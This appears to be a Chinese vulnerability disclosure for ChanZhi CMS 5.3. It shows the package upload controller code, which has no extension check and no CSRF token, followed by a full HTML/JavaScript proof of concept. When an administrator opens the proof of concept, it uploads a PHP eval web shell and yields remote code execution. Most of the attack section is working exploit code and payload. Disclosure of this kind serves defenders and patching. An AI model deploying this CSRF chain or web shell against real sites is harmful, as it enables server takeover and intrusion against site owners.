### 简要描述：
蝉知CMS5.3 CRSF getshell
### 详细说明：
/system/module/package/control.php
```
public function upload($type = 'extension')
{
$this->view->canManage = array('result' => 'success');
if(!$this->loadModel('guarder')->verify()) $this->view->canManage = $this->loadModel('common')->verifyAdmin();
if($_SERVER['REQUEST_METHOD'] == 'POST')
{
if($this->view->canManage['result'] != 'success') $this->send(array('result' => 'fail', 'message' => sprintf($lang->guarder->okFileVerify, $this->view->canManage['name'], $this->view->canManage['content'])));
if(empty($_FILES)) $this->send(array('result' => 'fail', 'message' => '' ));
$tmpName = $_FILES['file']['tmp_name'];
$fileName = $_FILES['file']['name'];
$package = basename($fileName, '.zip');
move_uploaded_file($tmpName, $this->app->getTmpRoot() . "/package/$fileName");
$info = $this->package->getInfoFromDB($package);
$option = (!empty($info) and $info->status == 'installed') ? 'upgrade' : 'install';
$link = $option == 'install' ? inlink('install', "package=$package&downLink=&md5=&type={$type}") : inlink('upgrade', "package=$package&downLink=&md5=&type={$type}");
$this->send(array('result' => 'success', 'message' => $this->lang->package->successUploadedPackage, 'locate' => $link));
}
$this->view->title = $this->lang->package->upload;
$this->display();
}
```
后台这里上传文件的时候，没有判断文件后缀，直接通过move_uploaded_file移动到package目录下了。而这里没有token，所以可以通过CSRF漏洞getshell。
### 漏洞证明：
POC：
```
<html>
<body>
<script>
function submitRequest()
{
var xhr = new XMLHttpRequest();
xhr.open("POST", "http://127.0.0.1/chanzhi/admin.php?m=package&f=upload", true);
xhr.setRequestHeader("Accept", "application/json, text/javascript, */*; q=0.01");
xhr.setRequestHeader("Content-Type", "multipart/form-data; boundary=----WebKitFormBoundaryGgFOYWAluy1F8lvn");
xhr.setRequestHeader("Accept-Language", "zh-CN,zh;q=0.8,en;q=0.6,zh-TW;q=0.4");
xhr.withCredentials = true;
var body = "------WebKitFormBoundaryGgFOYWAluy1F8lvn\r\n" +
"Content-Disposition: form-data; name=\"file\"; filename=\"php.php\"\r\n" +
"Content-Type: text/php\r\n" +
"\r\n" +
"\x3c?php\r\n" +
"@eval($_GET[\'a\']);\r\n" +
"?\x3e\r\n" +
"------WebKitFormBoundaryGgFOYWAluy1F8lvn--\r\n";
var aBody = new Uint8Array(body.length);
for (var i = 0; i < aBody.length; i++)
aBody[i] = body.charCodeAt(i);
xhr.send(new Blob([aBody]));
}
submitRequest();
</script>
</body>
</html>
```
管理员点击后，成功创建文件。
[<img src="https://images.seebug.org/upload/201605/11221434fef44f3e20b39bdac93fd4f66ccfb700.png" alt="1.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201605/11221434fef44f3e20b39bdac93fd4f66ccfb700.png)
成功执行phpinfo
[<img src="https://images.seebug.org/upload/201605/1122145631ccefd82ceae87f0b819ab0ca19094a.png" alt="2.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201605/1122145631ccefd82ceae87f0b819ab0ca19094a.png)
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